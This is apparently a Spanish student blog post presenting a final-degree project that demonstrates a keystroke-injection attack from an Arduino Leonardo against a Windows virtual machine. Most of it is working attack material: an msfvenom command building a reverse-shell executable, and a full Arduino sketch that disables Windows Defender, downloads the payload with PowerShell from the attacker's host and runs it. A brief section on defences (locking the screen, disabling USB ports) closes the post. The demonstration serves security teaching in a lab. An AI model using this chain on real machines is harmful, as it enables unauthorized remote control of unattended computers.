Mi Trabajo de Fin de Grado ASIR
Titulo: “WorseCase”
Buenas, en este post hablaremos sobre mi Trabajo de Fin de Grado (TFG) que realicé este año para completar el grado superior de Administración de Sistemas Informáticos en Red (ASIR).
Introducción
En este trabajo, se comprobará el peligro que supone para cualquier persona u organización dejar los equipos sin control y manipulables por cualquier persona. Se demostrará utilizando una placa “Arduino Leonardo” cómo se puede llegar a tener acceso remoto sin tocar el teclado y de forma rápida.
Además, se explicará hasta dónde puede llegar esta herramienta y de qué formas se puede neutralizar este ataque.
El objetivo final es demostrar el peligro de dejar desatendido el equipo y cómo mejorar la seguridad de los sistemas.
Recursos a utilizar
Máquina virtual: Se utilizará una máquina virtual con sistema operativo Windows para crear un entorno de prueba para probar el funcionamiento de la placa.
Arduino IDE: Software para programar y subir scripts a las placas Arduino
Placa Arduino Leonardo: Placa que tiene compatibilidad con HID (Human Interface Device)
Netcat: Una herramienta para recibir una conexión remota y tener acceso al equipo
Msfvenom: Herramienta de línea de comandos que se utiliza para generar payloads personalizados para una amplia variedad de sistemas operativos y arquitecturas.
PowerShell: Es una interfaz de consola con posibilidad de escritura y unión de comandos por medio de instrucciones.
Prueba de Concepto
Se creará un script que sea ejecutable por la placa Arduino, la conectaremos por USB a la máquina víctima y se creará una conexión remota a la máquina atacante, dándole acceso de forma no autorizada.
Creación de exploit con msfvenom
Seleccionamos el payload, indicamos el host que recibirá la conexión, el puerto al que debe conectarse, la arquitectura del archivo, la extensión y el nombre del archivo.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.2.20 LPORT=9001 -a x64 -f exe -o eskere.exe
Por último, abriremos un servidor HTTP con Python con el archivo malicioso generado y lo dejaremos escuchando.
Configuración de placa Arduino
Para que el ataque funcione, debemos verificar y subir el código a la placa. Este código realiza todos los pasos de forma automática en el proceso para vulnerar la máquina.
Con este código podremos activar la placa si realizamos un puente con el puerto de tierra (GND) y con el puerto 2.
#include <Keyboard.h>
void typeKey(uint8_t key){
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
void setup() {
pinMode(2,INPUT);
digitalWrite(2,HIGH);
Keyboard.begin();
while(digitalRead(2)){
}
delay(2000);
Keyboard.write(KEY_LEFT_GUI);
Keyboard.releaseAll();
delay(2000);
Keyboard.println("windows se");
delay(3000);
Keyboard.println("");delay(3000);
Keyboard.println("");
delay(3000);
Keyboard.press(KEY_TAB);
Keyboard.releaseAll();
delay(1000);
Keyboard.press(KEY_TAB);
Keyboard.releaseAll();
delay(1000);
Keyboard.press(KEY_TAB);
Keyboard.releaseAll();
delay(1000);
Keyboard.write(KEY_TAB);
Keyboard.releaseAll();
delay(1000);
Keyboard.println("cmd");
delay(3000);
Keyboard.println("");
delay(2000);
Keyboard.print("powershell iwr -uri http://192.168.2.20:8000/eskere.exe -OutFile ./eskere.exe -UseBasicParsing");
delay(2500);
Keyboard.println("");
delay(3500);
Keyboard.println("eskere.exe");
delay(3500);
Keyboard.println("");
delay(2500);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_F4);
delay(100);
Keyboard.releaseAll();
Ataque
Se conectará a la placa un cable que conecte el puerto GND con el puerto 2. Después, se conectará por el puerto USB a la máquina víctima y el script de la placa se ejecutará.
Al ejecutar el script, el proceso automático será el siguiente:
-
1º Accederá al panel de “Windows Defender”, lo desactivará y lo cerrará.
-
2º Abrirá una terminal “CMD” y ejecutará un comando de PowerShell para descargarse de la máquina atacante el archivo que permitirá la conexión remota.
-
3º Ejecutará el archivo malicioso y cerrará la terminal, aparentando que nada hubiera ocurrido.
Cuando termine el proceso, se tendrá en la pantalla de la máquina atacante una conexión remota y control total de la máquina víctima.
Video
Defensas
Ante este tipo de ataques, existen muy pocas medidas de seguridad, por lo que se debe concienciar a los usuarios de los peligros que puede suponer el uso descuidado de los ordenadores.
Para defenderse contra estas placas, se aconseja:
-
No dejar desatendido cualquier equipo. Con tan solo bloquear el equipo mientras no se utilice, ya se deja inutilizada la placa.
-
Bloquear físicamente o desde la BIOS cualquier puerto USB que no se vaya a utilizar, para que al conectar la placa no pueda ejecutar nada.
Conclusión
En conclusión, el proyecto explica la creación de un ataque por USB que podría inutilizar un equipo o sistema y la securización de este. Implementando medidas de seguridad para mitigar el impacto de este ataque, se logra la protección y seguridad de equipos personales o empresariales.
¡Espero que os haya gustado el post!